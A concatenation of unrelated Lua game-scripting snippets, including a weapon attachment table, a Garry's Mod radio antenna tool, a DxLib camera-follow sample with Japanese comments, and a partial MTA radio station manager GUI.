{name = 'WEAPON_ASSAULTSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'shotgun', model = 'w_sg_assaultshotgun'},
{name = 'WEAPON_MUSKET', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'shotgun', model = 'w_ar_musket'},
{name = 'WEAPON_HEAVYSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 225.0, zRot = 0.0, category = 'shotgun', model = 'w_sg_heavyshotgun'},
{name = 'WEAPON_DBSHOTGUN', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'shotgun', model = ''},
{name = 'WEAPON_AUTOSHOTGUN', bone = 24818, x = 0.1, y = 0.15, z = 0.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'shotgun', model = ''},
{name = 'WEAPON_SNIPERRIFLE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'sniper', model = 'w_sr_sniperrifle'},
{name = 'WEAPON_HEAVYSNIPER', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 135.0, zRot = 0.0, category = 'sniper', model = 'w_sr_heavysniper'},
{name = 'WEAPON_MARKSMANRIFLE', bone = 24818, x = 0.1, y = -0.15, z = 0.0, xRot = 0.0, yRot = 135.0, zRot = 0.0, category = 'sniper', model = 'w_sr_marksmanrifle'},
{name = 'WEAPON_REMOTESNIPER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'none', model = ''},
{name = 'WEAPON_STINGER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'none', model = ''},
{name = 'WEAPON_GRENADELAUNCHER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_lr_grenadelauncher'},
{name = 'WEAPON_RPG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_lr_rpg'},
{name = 'WEAPON_MINIGUN', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_mg_minigun'},
{name = 'WEAPON_FIREWORK', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_lr_firework'},
{name = 'WEAPON_RAILGUN', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_ar_railgun'},
{name = 'WEAPON_HOMINGLAUNCHER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = 'w_lr_homing'},
{name = 'WEAPON_COMPACTLAUNCHER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'heavy', model = ''},
{name = 'WEAPON_STICKYBOMB', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'prop_bomb_01_s'},
{name = 'WEAPON_MOLOTOV', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_ex_molotov'},
{name = 'WEAPON_FIREEXTINGUISHER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_am_fire_exting'},
{name = 'WEAPON_PETROLCAN', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_am_jerrycan'},
{name = 'WEAPON_PROXMINE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = ''},
{name = 'WEAPON_SNOWBALL', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_ex_snowball'},
{name = 'WEAPON_BALL', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_am_baseball'},
{name = 'WEAPON_GRENADE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_ex_grenadefrag'},
{name = 'WEAPON_SMOKEGRENADE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_ex_grenadesmoke'},
{name = 'WEAPON_BZGAS', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'thrown', model = 'w_ex_grenadesmoke'},
{name = 'WEAPON_DIGISCANNER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'w_am_digiscanner'},
{name = 'WEAPON_DAGGER', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'prop_w_me_dagger'},
{name = 'WEAPON_GARBAGEBAG', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = ''},
{name = 'WEAPON_HANDCUFFS', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = ''},
{name = 'WEAPON_BATTLEAXE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'prop_tool_fireaxe'},
{name = 'WEAPON_PIPEBOMB', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = ''},
{name = 'WEAPON_POOLCUE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'prop_pool_cue'},
{name = 'WEAPON_WRENCH', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'w_me_hammer'},
{name = 'GADGET_NIGHTVISION', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = ''},
{name = 'GADGET_PARACHUTE', bone = 24818, x = 65536.0, y = 65536.0, z = 65536.0, xRot = 0.0, yRot = 0.0, zRot = 0.0, category = 'others', model = 'p_parachute_s'}
}
|
local ITEM = Clockwork.item:New("weapon_base");
ITEM.name = "M249 Para";
ITEM.cost = 0;
ITEM.model = "models/weapons/3_mach_m249para.mdl";
ITEM.weight = 7;
ITEM.uniqueID = "bb_m249_alt";
ITEM.business = false;
ITEM.description = "A heavy weapon. Why do they call these things LIGHT machine guns!!?";
ITEM.isAttachment = true;
ITEM.loweredOrigin = Vector(3, 0, -4);
ITEM.loweredAngles = Angle(0, 45, 0);
ITEM.attachmentBone = "ValveBiped.Bip01_Spine";
ITEM.attachmentOffsetAngles = Angle(0, 0, 0);
ITEM.attachmentOffsetVector = Vector(-4, 4, 4);
ITEM:Register();
|
TOOL.Category = "Wire Extras/Other"
TOOL.Name = "#Directional Radio Tool"
TOOL.Command = nil
TOOL.ConfigName = ""
TOOL.ClientConVar[ "model" ] = "models/radio/ra_small_omni.mdl"
--TOOL.ClientConVar[ "tx" ] = 0
TOOL.ClientConVar[ "freeze" ] = 1
if CLIENT then
language.Add("tool.wdrk.name", "Wire Directional Radio Kit")
language.Add("tool.wdrk.desc", "Spawn Directional Radio Antennae")
language.Add("tool.wdrk.0", "Left-click: Spawn a Wire Directional Radio Antenna")
language.Add("Undone_wdrk", "Undone Wire Directional Radio Antenna")
language.Add("Cleanup_wdrk", "Wire Directional Radio Antennae")
language.Add("Cleaned_wdrk", "Removed all Wire Directional Radio Antennae")
language.Add("sboxlimit_wdrk", "Wire Directional Radio Antennae limit already reached!")
end
if SERVER then
CreateConVar("sbox_maxwdrk", 10)
function MakeRadioPart(ply, Ang, Pos, model, trace, freeze)
if not ply:CheckLimit("wdrk") then return false end
local tmpitem = model:gsub("models/radio/", "")
local itemclass = tmpitem:gsub(".mdl", "")
local ent = ents.Create(itemclass)
--ent.is_tx = tx
ent:SetPos(Pos)
ent:SetAngles(Ang)
ent:Spawn()
ent:Setup()
ent:Activate()
if freeze then
local phys = ent:GetPhysicsObject()
if phys:IsValid() then
phys:EnableMotion(false)
ply:AddFrozenPhysicsObject(ent, phys)
end
end
ply:AddCount("wdrk", ent)
return ent
end
--duplicator.RegisterEntityClass("base_wdr_entity", MakeRadioPart, "Ang", "Pos", "model", "trace", "freeze") -->>>>>>>>>>>> THIS IS USELESS AND DOESNT WORK... WHY GARRY WHYYYYY
end
cleanup.Register("wdrk")
function TOOL:LeftClick(trace)
if CLIENT then return true end
if trace.Entity && trace.Entity:IsPlayer() then return false end
local ply = self:GetOwner()
local model = self:GetClientInfo("model")
--local tx = self:GetClientNumber("tx") ~= 0
local freeze = self:GetClientNumber("freeze") ~= 0
if trace.Entity:IsValid() && string.find(trace.Entity:GetClass(), "^ra_") && trace.Entity.pl == ply then return true end
if not self:GetSWEP():CheckLimit("wdrk") then return false end
if not util.IsValidModel(model) then return false end
local Ang = trace.HitNormal:Angle()
Ang.pitch = Ang.pitch + 90
local radio_item = MakeRadioPart(ply, Ang, trace.HitPos, model, trace, freeze)
local min = radio_item:OBBMins()
radio_item:SetPos(trace.HitPos - trace.HitNormal * min.z)
undo.Create("wdrk")
undo.AddEntity(radio_item)
undo.SetPlayer(ply)
undo.Finish()
ply:AddCleanup("wdrk", radio_item)
return true
end
function TOOL:UpdateGhostRadioParts(ent, player)
local m = self:GetClientInfo("model")
if (not self.GhostEntity || not self.GhostEntity:IsValid() || self.GhostEntity:GetModel() != m) then
self:MakeGhostEntity(m, Vector(0,0,0), Angle(0,0,0))
end
if not ent then return end
if not IsValid(ent) then return end
local tr = util.GetPlayerTrace(player, player:GetAimVector())
local trace = util.TraceLine(tr)
if not trace.Hit then return end
local cls = trace.Entity:GetClass()
if trace.Entity and string.find(trace.Entity:GetClass(), "^ra_") or trace.Entity:IsPlayer() then
ent:SetNoDraw(true)
return
end
local Ang = trace.HitNormal:Angle()
Ang.pitch = Ang.pitch + 90
local min = ent:OBBMins()
ent:SetPos(trace.HitPos - trace.HitNormal * min.z)
ent:SetAngles(Ang)
ent:SetNoDraw(false)
end
function TOOL:Think()
self:UpdateGhostRadioParts(self.GhostEntity, self:GetOwner())
end
if SERVER then return end
function TOOL.BuildCPanel(panel)
local helpText
panel:SetHeight( 600 )
panel:SetName( "#tool.wdrk.name" )
panel:Help("#tool.wdrk.desc")
panel:CheckBox("Freeze on spawn?","wdrk_freeze")
local Scroll = vgui.Create( "DScrollPanel", panel ) -- Create the Scroll panel
Scroll:Dock( FILL )
local List = vgui.Create( "DIconLayout", Scroll )
List:Dock( FILL )
List:SetSpaceY( 5 ) -- Sets the space in between the panels on the Y Axis by 5
List:SetSpaceX( 5 ) -- Sets the space in between the panels on the X Axis by 5
local Models = {
"models/radio/ra_domestic_dish.mdl",
"models/radio/ra_large_drum.mdl",
"models/radio/ra_large_omni.mdl",
"models/radio/ra_log.mdl",
"models/radio/ra_orbital_dish.mdl",
"models/radio/ra_panel.mdl",
"models/radio/ra_sector.mdl",
"models/radio/ra_small_drum.mdl",
"models/radio/ra_small_omni.mdl",
"models/radio/ra_uplink_dish.mdl"
}
for _, v in pairs( Models ) do
local SpawnI = vgui.Create( "SpawnIcon" , List ) -- SpawnIcon
SpawnI:SetModel( v ) -- Model we want for this spawn icon
SpawnI:SetSize( 80, 80 ) -- Set the size of it
function SpawnI:DoClick()
RunConsoleCommand("wdrk_model",v)
local tmpitem = v:gsub("models/radio/", "")
local itemclass = tmpitem:gsub(".mdl", "")
local ent = scripted_ents.Get(itemclass)
if ent == nil then return end
local polarity = "Both"
if ent.pol == 1 then
polarity = "Vertical"
elseif ent.pol == 2 then
polarity = "Horizontal"
end
helpText:SetText(ent.PrintName .. "\n" .. "Gain: " .. ent.gain .. " dB" .. "\n" .. "Beam Width: " .. ent.beamWidth .. "°" .. "\n" .. "Polarization: " .. polarity)
end
end
helpText = panel:Help("") -- Make it, but don't show anything
end
|
local IItemPotion = require("mod.elona.api.aspect.IItemPotion")
local IItemDippable = require("mod.elona.api.aspect.IItemDippable")
local IItemWell = require("mod.elona.api.aspect.IItemWell")
local Gui = require("api.Gui")
local ItemPotionAspect = class.class("ItemPotionAspect", { IItemPotion, IItemDippable })
function ItemPotionAspect:init(item, params)
self.effects = params.effects or {}
end
function ItemPotionAspect:can_dip_into(item, target_item)
return target_item:get_aspect(IItemWell)
end
function ItemPotionAspect:can_draw_from_well(item, well)
return item._id == "elona.empty_bottle"
end
function ItemPotionAspect:on_dip_into(item, params)
-- >>>>>>>> shade2/action.hsp:1609 if iType(ciDip)=fltPotion:if iTypeMinor(ci)=fltWe ...
local target_item = params.target_item
local well = target_item:get_aspect(IItemWell)
if well then
Gui.play_sound("base.drink1", params.chara.x, params.chara.y)
target_item = target_item:separate()
item:remove(1)
if self:can_draw_from_well(item, target_item) then
return well:draw_water_from(target_item, item, params)
else
return well:pour_water_into(target_item, item, params)
end
end
return "turn_end"
-- <<<<<<<< shade2/action.hsp:1635 } ..
end
return ItemPotionAspect
|
-- キャラクターに付いていくカメラ
--
-- <操作>
-- 方向キー:キャラクターモデル移動
-- Z,Cキー:カメラの水平角度を変更
-- S,Xキー:カメラの垂直角度を変更
-- 移動速度
local MOVESPEED = 10.0
-- DxChara.x での走りアニメーションの番号
local ANIM_RUN = 1
-- DxChara.x での待機アニメーションの番号
local ANIM_NEUTRAL = 4
-- カメラの回転速度
local CAMERA_ANGLE_SPEED = 3.0
-- カメラの注視点の高さ
local CAMERA_LOOK_AT_HEIGHT = 400.0
-- カメラと注視点の距離
local CAMERA_LOOK_AT_DISTANCE = 2150.0
-- ラインを描く範囲
local LINE_AREA_SIZE = 10000.0
-- ラインの数
local LINE_NUM = 50
local ModelHandle
local AnimTotalTime
local AnimNowTime
local AnimAttachIndex
local RunFlag
local MoveAnimFrameIndex
local Position
local MoveFlag
local Angle
local CameraHAngle
local CameraVAngle
local MoveVector
local SinParam
local CosParam
-- DXライブラリの初期化
function dx.Init()
-- 3Dモデルの読み込み
ModelHandle = dx.MV1LoadModel("DxChara.x")
-- カメラの向きを初期化
CameraHAngle = 0.0
CameraVAngle = 40.0
-- 向きを初期化
Angle = 0.0
-- 走っているフラグを倒す
RunFlag = false
-- 待機アニメーションをアタッチ
AnimAttachIndex = dx.MV1AttachAnim(ModelHandle, ANIM_NEUTRAL)
-- 待機アニメーションの総時間を取得しておく
AnimTotalTime = dx.MV1GetAttachAnimTotalTime(ModelHandle, AnimAttachIndex)
-- アニメーション再生時間を初期化
AnimNowTime = 0.0
dx.MV1SetAttachAnimTime(ModelHandle, AnimAttachIndex, AnimNowTime)
-- アニメーションで移動をしているフレームの番号を検索する
MoveAnimFrameIndex = dx.MV1SearchFrame(ModelHandle, "BasePoint")
-- アニメーションで移動をしているフレームを無効にする
dx.MV1SetFrameUserLocalMatrix(ModelHandle, MoveAnimFrameIndex, dx.MV1GetFrameLocalMatrix(ModelHandle, MoveAnimFrameIndex))
-- 3Dモデルの座標を初期化
Position = dx.VGet(0.0, 0.0, 0.0)
-- 描画先を裏画面にする
dx.SetDrawScreen(dx.DX_SCREEN_BACK)
-- カメラのクリッピング距離を設定
dx.SetCameraNearFar(100.0, 50000.0)
-- 背景の色を灰色にする
dx.SetBackgroundColor(128, 128, 128)
end
-- メインループ(何かキーが押されたらループを抜ける)
function dx.Update()
-- 画面のクリア
dx.ClearDrawScreen()
-- ZCSXキーでカメラの操作
if dx.CheckHitKey(dx.KEY_INPUT_C) == 1 then
CameraHAngle = CameraHAngle + CAMERA_ANGLE_SPEED
if CameraHAngle >= 180.0 then
CameraHAngle = CameraHAngle - 360.0
end
end
if dx.CheckHitKey(dx.KEY_INPUT_Z) == 1 then
CameraHAngle = CameraHAngle - CAMERA_ANGLE_SPEED
if CameraHAngle <= -180.0 then
CameraHAngle = CameraHAngle + 360.0
end
end
if dx.CheckHitKey(dx.KEY_INPUT_S) == 1 then
CameraVAngle = CameraVAngle + CAMERA_ANGLE_SPEED
if CameraVAngle >= 80.0 then
CameraVAngle = 80.0
end
end
if dx.CheckHitKey(dx.KEY_INPUT_X) == 1 then
CameraVAngle = CameraVAngle - CAMERA_ANGLE_SPEED
if CameraVAngle <= 0.0 then
CameraVAngle = 0.0
end
end
-- 移動ベクトルを初期化
MoveVector = dx.VGet(0.0, 0.0, 0.0)
-- 移動しているかどうかのフラグを倒す
MoveFlag = false
-- 方向入力に従ってキャラクターの移動ベクトルと向きを設定
if dx.CheckHitKey(dx.KEY_INPUT_LEFT) == 1 then
Angle = 90.0 - CameraHAngle
MoveFlag = true
MoveVector.x = -MOVESPEED
end
if dx.CheckHitKey(dx.KEY_INPUT_RIGHT) == 1 then
Angle = -90.0 - CameraHAngle
MoveFlag = true
MoveVector.x = MOVESPEED
end
if dx.CheckHitKey(dx.KEY_INPUT_DOWN) == 1 then
Angle = 0.0 - CameraHAngle
MoveFlag = true
MoveVector.z = -MOVESPEED
end
if dx.CheckHitKey(dx.KEY_INPUT_UP) == 1 then
Angle = 180.0 - CameraHAngle
MoveFlag = true
MoveVector.z = MOVESPEED
end
-- 移動した場合は、カメラの水平角度を考慮した方向に座標を移動する
if MoveFlag == true then
TempMoveVector = TempMoveVector or dx.VECTOR()
-- カメラの角度に合わせて移動ベクトルを回転してから加算
SinParam = math.sin(CameraHAngle / 180.0 * dx.DX_PI_F)
CosParam = math.cos(CameraHAngle / 180.0 * dx.DX_PI_F)
TempMoveVector.x = MoveVector.x * CosParam - MoveVector.z * SinParam
TempMoveVector.y = 0.0
TempMoveVector.z = MoveVector.x * SinParam + MoveVector.z * CosParam
Position = dx.VAdd(Position, TempMoveVector)
end
-- 今までと状態が変化した場合はアニメーションを変更する
if RunFlag ~= MoveFlag then
-- 走っているかどうかのフラグを保存
RunFlag = MoveFlag
-- 今までアタッチしていたアニメーションをデタッチ
dx.MV1DetachAnim(ModelHandle, AnimAttachIndex)
-- 新しいアニメーションをアタッチ
if RunFlag then
AnimAttachIndex = dx.MV1AttachAnim(ModelHandle, ANIM_RUN)
else
AnimAttachIndex = dx.MV1AttachAnim(ModelHandle, ANIM_NEUTRAL)
end
-- アニメーションの総時間を取得しておく
AnimTotalTime = dx.MV1GetAttachAnimTotalTime(ModelHandle, AnimAttachIndex)
-- アニメーション再生時間を初期化
AnimNowTime = 0.0
else
-- アニメーション再生時間を進める
AnimNowTime = AnimNowTime + 200.0
-- アニメーション再生時間がアニメーションの総時間を越えていたらループさせる
if AnimNowTime >= AnimTotalTime then
-- 新しいアニメーション再生時間は、アニメーション再生時間からアニメーション総時間を引いたもの
AnimNowTime = AnimNowTime - AnimTotalTime
end
end
-- 新しいアニメーション再生時間をセット
dx.MV1SetAttachAnimTime(ModelHandle, AnimAttachIndex, AnimNowTime)
-- 新しい向きをセット
dx.MV1SetRotationXYZ(ModelHandle, dx.VGet(0.0, Angle / 180.0 * dx.DX_PI_F, 0.0))
-- 3Dモデルに新しい座標をセット
dx.MV1SetPosition(ModelHandle, Position)
-- カメラの位置と向きを設定
do
TempPosition1 = TempPosition1 or dx.VECTOR()
TempPosition2 = TempPosition2 or dx.VECTOR()
local CameraPosition
local CameraLookAtPosition
-- 注視点はキャラクターモデルの座標から CAMERA_LOOK_AT_HEIGHT 分だけ高い位置
CameraLookAtPosition = dx.VECTOR(Position)
CameraLookAtPosition.y = CameraLookAtPosition.y + CAMERA_LOOK_AT_HEIGHT
-- カメラの位置はカメラの水平角度と垂直角度から算出
-- 最初に垂直角度を反映した位置を算出
SinParam = math.sin(CameraVAngle / 180.0 * dx.DX_PI_F)
CosParam = math.cos(CameraVAngle / 180.0 * dx.DX_PI_F)
TempPosition1.x = 0.0
TempPosition1.y = SinParam * CAMERA_LOOK_AT_DISTANCE
TempPosition1.z = -CosParam * CAMERA_LOOK_AT_DISTANCE
-- 次に水平角度を反映した位置を算出
SinParam = math.sin(CameraHAngle / 180.0 * dx.DX_PI_F)
CosParam = math.cos(CameraHAngle / 180.0 * dx.DX_PI_F)
TempPosition2.x = CosParam * TempPosition1.x - SinParam * TempPosition1.z
TempPosition2.y = TempPosition1.y
TempPosition2.z = SinParam * TempPosition1.x + CosParam * TempPosition1.z
-- 算出した座標に注視点の位置を加算したものがカメラの位置
CameraPosition = dx.VAdd(TempPosition2, CameraLookAtPosition)
-- カメラの設定に反映する
dx.SetCameraPositionAndTarget_UpVecY(CameraPosition, CameraLookAtPosition)
end
-- 3Dモデルの描画
dx.MV1DrawModel(ModelHandle)
-- 位置関係が分かるように地面にラインを描画する
do
local Pos1
local Pos2
dx.SetUseZBufferFlag(true)
Pos1 = dx.VGet(-LINE_AREA_SIZE / 2.0, 0.0, -LINE_AREA_SIZE / 2.0)
Pos2 = dx.VGet(-LINE_AREA_SIZE / 2.0, 0.0, LINE_AREA_SIZE / 2.0)
for i = 1, LINE_NUM + 1 do
dx.DrawLine3D(Pos1, Pos2, dx.GetColor(255, 255, 255))
Pos1.x = Pos1.x + (LINE_AREA_SIZE / LINE_NUM)
Pos2.x = Pos2.x + (LINE_AREA_SIZE / LINE_NUM)
end
Pos1 = dx.VGet(-LINE_AREA_SIZE / 2.0, 0.0, -LINE_AREA_SIZE / 2.0)
Pos2 = dx.VGet(LINE_AREA_SIZE / 2.0, 0.0, -LINE_AREA_SIZE / 2.0)
for i = 1, LINE_NUM do
dx.DrawLine3D(Pos1, Pos2, dx.GetColor(255, 255, 255))
Pos1.z = Pos1.z + (LINE_AREA_SIZE / LINE_NUM)
Pos2.z = Pos2.z + (LINE_AREA_SIZE / LINE_NUM)
end
dx.SetUseZBufferFlag(false)
end
-- 裏画面の内容を表画面に反映
dx.ScreenFlip()
end
|
local class = require 'lib.middleclass'
local Light = require 'source.entities.light'
local Entity = require 'source.entities.entity'
local Lamp = class ("Lamp", Entity)
local img = love.graphics.newImage("assets/sprites/lamp.png")
local w = 13
local h = 25
local delay = 0.2
function Lamp:initialize(map, world, x, y)
Entity.initialize(self, map, world, x, y, w, h, true)
self.map = map
self.x = x
self.y = y
self.properties ={passable = true}
self.light = Light:new(self.map, self.x, self.y, 'circle', 0.7, 0.7, "normal")
self.counter = delay
end
function Lamp:update(dt)
if math.sqrt ( (self.map.player.x - self.x)^2 + (self.map.player.y - self.y)^2 ) < 64 and not self.map.player.possess then
self.counter = self.counter - dt
else
self.counter = delay
end
if self.counter < 0 then
-- self.map.player:die()
end
end
function Lamp:draw(debug)
end
return Lamp
|
vim.g.go_gopls_enabled = 0
vim.g.go_def_mapping_enabled = 0
|
_G.C_ChatInfo = {}
_G.C_ChatInfo.RegisterAddonMessagePrefix = function()
end
_G.C_ChatInfo.SendAddonMessage = function()
end
|
--MAXIME
local gui, grid, col, col2 = {}, {}, {}, {}
local screenWidth, screenHeight = guiGetScreenSize()
local defaultStations, donorStations = {}, {}
local stationToRenew = nil
function openRadioManager(defaultStations1, donorStations1)
if true then--canAccessManager() then
local perk = true
closeNewStation()
showCursor(true)
guiSetInputEnabled(true)
if defaultStations1 and type(defaultStations1) == "table" then
defaultStations, donorStations = defaultStations1, donorStations1
end
if gui.main and isElement(gui.main) then
guiSetText(gui.main, "Radio Station Manager v2.1")
guiSetEnabled(gui.main, true)
else
setElementData(localPlayer, "gui:ViewingRadioManager", true, true)
local w, h = 800,474
local x, y = (screenWidth-w)/2, (screenHeight-h)/2
gui.main = guiCreateWindow(x,y,w,h,"Radyo İstasyon Yönetimi",false)
guiWindowSetSizable(gui.main, false)
gui.tabpanel = guiCreateTabPanel(0.0122,0.0401,0.9757,0.87,true,gui.main)
gui.defaultStations = guiCreateTab("Server's default stations",gui.tabpanel)
gui.donorStations = guiCreateTab("Donor's stations",gui.tabpanel)
grid.defaultStations = guiCreateGridList(0,0,1,1,true,gui.defaultStations)
col.id = guiGridListAddColumn(grid.defaultStations,"ID",0.05)
col.name = guiGridListAddColumn(grid.defaultStations,"Station Name",0.18)
col.ip = guiGridListAddColumn(grid.defaultStations,"Station IP",0.3)
col.status = guiGridListAddColumn(grid.defaultStations,"Status",0.1)
col.owner = guiGridListAddColumn(grid.defaultStations,"Station Owner",0.1)
col.expireDate = guiGridListAddColumn(grid.defaultStations,"Expire Date",0.16)
col.order = guiGridListAddColumn(grid.defaultStations,"Order",0.08)
grid.donorStations = guiCreateGridList(0,0,1,1,true,gui.donorStations)
col2.id = guiGridListAddColumn(grid.donorStations,"ID",0.05)
col2.name = guiGridListAddColumn(grid.donorStations,"Station Name",0.18)
col2.ip = guiGridListAddColumn(grid.donorStations,"Station IP",0.3)
col2.status = guiGridListAddColumn(grid.donorStations,"Status",0.1)
col2.owner = guiGridListAddColumn(grid.donorStations,"Station Owner",0.1)
col2.expireDate = guiGridListAddColumn(grid.donorStations,"Expire Date",0.16)
col2.order = guiGridListAddColumn(grid.donorStations,"Order",0.08)
gui.addNew = guiCreateButton(0.0135,0.9135,0.32476,0.0675,"Create new station",true,gui.main)
guiSetFont(gui.addNew, "default-bold-small")
addEventHandler("onClientGUIClick", gui.addNew, function()
if source == gui.addNew then
openNewStation()
end
end)
gui.buyNew = guiCreateButton(0.0135,0.9135,0.32476,0.0675,"Purchase a new station",true,gui.main)
guiSetFont(gui.buyNew, "default-bold-small")
addEventHandler("onClientGUIClick", gui.buyNew, function()
if source == gui.buyNew then
openNewStation(nil, nil, nil, nil, nil, true)
end
end)
guiSetVisible(gui.buyNew, false)
gui.renew = guiCreateButton(0.0135,0.9135,0.32476,0.0675,"Renew station",true,gui.main)
guiSetFont(gui.renew, "default-bold-small")
addEventHandler("onClientGUIClick", gui.renew, function()
if source == gui.renew and stationToRenew and type(stationToRenew) == "table" then
renewStation(stationToRenew)
else
exports.mrp_global:playSoundError()
end
end)
guiSetVisible(gui.renew, false)
gui.refresh = guiCreateButton(0.0135+0.32476,0.9135,0.32476,0.0675,"Sync stations to all clients",true,gui.main)
guiSetFont(gui.refresh, "default-bold-small")
local timer1 = nil
addEventHandler("onClientGUIClick", gui.refresh, function()
if source == gui.refresh then
guiSetEnabled(gui.refresh, false)
exports.mrp_global:playSoundCreate()
if isTimer(timer1) then
killTimer(timer1)
end
timer1 = setTimer(function()
if gui.refresh and isElement(gui.refresh) then
guiSetEnabled(gui.refresh, true)
end
end, 5000, 1)
triggerServerEvent("forceSyncStationsToAllclients", localPlayer)
end
end)
gui.bClose = guiCreateButton(0.0135+0.32476*2,0.9135,0.32476,0.0675,"Close",true,gui.main)
guiSetFont(gui.bClose, "default-bold-small")
addEventHandler("onClientGUIClick", gui.bClose, function()
if source == gui.bClose then
closeRadioManager()
end
end)
addEventHandler("onClientGUITabSwitched", root, tabSwitch)
triggerServerEvent("openRadioManager", localPlayer)
guiSetEnabled(gui.main, false)
end
updateDefaultStations()
updateDonorStations()
end
end
addEvent("openRadioManager", true)
addEventHandler("openRadioManager", root, openRadioManager)
addCommandHandler("radios", openRadioManager)
function closeRadioManager()
if gui.main and isElement(gui.main) then
setElementData(localPlayer, "gui:ViewingRadioManager", false, true)
removeEventHandler("onClientGUITabSwitched", root, tabSwitch)
closeNewStation()
destroyElement(gui.main)
guiSetInputEnabled(false)
showCursor(false)
gui.main = nil
end
end
function tabSwitch(theTab)
if theTab == gui.defaultStations then
outputDebugString("defaultStations")
guiSetVisible(gui.addNew, true)
guiSetVisible(gui.buyNew, false)
updateBottomBtns()
guiSetVisible(gui.renew, false)
elseif theTab == gui.donorStations then
outputDebugString("donorStations")
guiSetVisible(gui.addNew, false)
guiSetVisible(gui.buyNew, true)
if ownedAnyStation() then
guiSetEnabled(gui.refresh, true)
else
guiSetEnabled(gui.refresh, false)
end
end
end
function ownedAnyStation()
local username = getElementData(localPlayer, "account:username")
for i, k in pairs(donorStations) do
--outputChatBox(tostring(k["owner"]))
--outputChatBox(tostring(username))
if k["owner"] == username then
return true
end
end
return false
end
function togRadioManager(state)
if gui.main and isElement(gui.main) then
guiSetEnabled(gui.main, state)
end
end
function updateDefaultStations()
guiGridListClear(grid.defaultStations)
local maxRow = #defaultStations
for i = 1, maxRow do
local row = guiGridListAddRow(grid.defaultStations)
guiGridListSetItemText(grid.defaultStations, row, col.id, defaultStations[i]["id"] , false, true)
guiGridListSetItemText(grid.defaultStations, row, col.name, defaultStations[i]["station_name"] , false, false)
guiGridListSetItemText(grid.defaultStations, row, col.ip, defaultStations[i]["source"] , false, false)
guiGridListSetItemText(grid.defaultStations, row, col.status, (defaultStations[i]["enabled"] == "1" and "Activated" or "Deactivated"), false, false)
guiGridListSetItemText(grid.defaultStations, row, col.owner, defaultStations[i]["owner"] or "No-one" , false, false)
guiGridListSetItemText(grid.defaultStations, row, col.expireDate, defaultStations[i]["expire_date"] or "Never" , false, false)
